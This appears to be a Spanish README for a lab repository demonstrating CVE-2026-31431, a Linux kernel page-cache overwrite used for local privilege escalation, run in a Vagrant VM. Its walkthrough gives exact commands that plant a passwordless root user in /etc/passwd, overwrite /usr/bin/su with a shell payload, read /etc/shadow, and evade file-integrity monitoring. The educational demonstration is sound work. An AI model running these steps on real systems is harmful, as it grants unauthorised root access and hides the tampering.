
Una demostración y explicación de CVE-2026-31431
Una demostración y explicación de CVE-2026-31431, la vulnerabilidad de Escalada de Privilegios Local Copy Fail del Kernel de Linux. La vulnerabilidad permite que los archivos abiertos con permiso de lectura tengan sus datos sobrescritos en la caché de páginas.
Este repositorio es solo para fines educativos e ilustra la vulnerabilidad en un entorno controlado. Los archivos incluidos son:
├── exploit
│ ├── copy_fail.py # Exploit personalizado que puede atacar cualquier archivo con permisos de lectura
│ ├── original_payload.txt # Una copia del payload utilizado en el exploit original
│ ├── copy_fail_original.py # Exploit original que sobrescribe /usr/bin/su
│ └── copy_fail_readable.py # Exploit original en un formato más legible con una explicación del payload
├── README.md
└── Vagrantfile # Configuración para la VM de Vagrant ejecutando Ubuntu 22.04
La vulnerabilidad, denominada Copy Fail, está presente en los kernels de Linux desde 2017 hasta 2026 debido a un fallo lógico en algif_aead. Se le ha asignado CVE-2026-31431 con una puntuación CVSS de 7.8, lo que conlleva una calificación de severidad alta. El exploit es determinista y puede eludir las herramientas tradicionales de monitoreo de integridad de archivos.
Se han publicado pruebas de concepto en varios lenguajes, incluidos C, Python y Go, pero para esta demostración se utiliza Python y requiere la versión 3.10 o superior. Este exploit requiere ejecución de código local como un usuario sin privilegios y puede utilizarse para la escalada de privilegios local.
Las siguientes secciones son:
Asegúrate de tener Vagrant y QEMU instalados. Luego, clona este repositorio y navega al directorio del proyecto.
vagrant up
vagrant ssh
Dentro de la VM, podemos probar los límites de nuestras capacidades.
id # uid=1000(vagrant) gid=1000(vagrant) groups=1000(vagrant)
su # Se nos solicita la contraseña de root, la cual no tenemos
stat /usr/bin/su # Tenemos permisos de lectura y ejecución
stat /etc/passwd # Tenemos permiso de lectura
stat /etc/shadow # No tenemos permisos
Obviamente estamos limitados en nuestras capacidades, pero podemos usar la vulnerabilidad para escalar privilegios.
Para entender la vulnerabilidad, sobrescribamos un archivo ficticio y veamos qué sucede.
echo -e "ABCDE\nF\nG" > dummy.txt
cat dummy.txt
Tenemos un archivo con tres líneas. La primera línea tiene 6 bytes (incluido el salto de línea), la segunda línea tiene 2 bytes, y la tercera línea es un solo byte. Esto es importante porque el exploit sobrescribe datos en bloques de 4 bytes, y rellenamos el payload para completarlo.
python3 exploit/copy_fail.py --target dummy.txt --payload "123456"
cat dummy.txt
Podemos ver que hemos reemplazado los primeros 8 bytes del archivo con nuestro payload. Hay dos caracteres que están ahí pero no son imprimibles. Abre el archivo en nano para comprobarlo.
Pero esto no es demasiado emocionante, así que pasemos a escribir en archivos para los que no tenemos permisos de escritura.
Podemos sobrescribir el contenido de /etc/passwd para agregar un usuario con privilegios de root pero sin contraseña.
cat /etc/passwd
La primera línea contiene el usuario root y contiene 8 grupos de 4 caracteres (incluido el salto de línea). Está formateada de la siguiente manera root:x:0:0:root:/root:/bin/bash, y los valores se refieren a nombre de usuario, contraseña, UID, GID, directorio home, shell.
python3 exploit/copy_fail.py --target /etc/passwd --payload "hackd::0:0:root:/root:/bin/bash
"
cat /etc/passwd
Hemos agregado un nuevo usuario hackd con UID 0 y GID 0, lo que significa que tiene privilegios de root. El campo de contraseña está vacío, por lo que podemos iniciar sesión sin contraseña.
su hackd
id
cat /etc/shadow
En el exploit original, el binario /usr/bin/su se sobrescribe con instrucciones para ejecutar un shell, permitiendo al atacante obtener privilegios de root al ejecutar su. Podemos recrear este exploit apuntando a /usr/bin/su con el payload original desde un archivo.
Ten en cuenta que esto destruye el binario su en esta caché de páginas.
python3 exploit/copy_fail.py --target /usr/bin/su --payload-file exploit/original_payload.txt
Con el payload en su lugar, podemos ejecutar su y obtener privilegios de root. Esto abre un shell con id de usuario 0, que normalmente es el usuario root, pero si se llevó a cabo la demostración anterior, sería el usuario hackd que creamos. Este exploit abriría un shell incluso si el usuario root tiene una contraseña.
su
id
Este exploit no modifica el archivo en disco, sino el estado de la caché de páginas. Como resultado, las herramientas tradicionales de monitoreo de integridad de archivos que verifican cambios en los archivos en disco no detectan este exploit.
Para demostrar esto, ejecuta el/los exploit(s) anterior(es) y luego, tras reiniciar la VM, verifica el contenido del archivo objetivo.
vagrant halt
vagrant up
vagrant ssh
cat /etc/passwd # El archivo no ha cambiado en disco
Las reglas de detección se comparten en repositorios de GitHub de la comunidad que intentan detectar indicadores de red o patrones de scripts conocidos. Estas reglas de detección se basan en artefactos de PoC públicos, payloads conocidos, fragmentos de código y URLs.
Por ejemplo, lo siguiente detectaría fragmentos de código específicos relacionados con PoC o payloads codificados: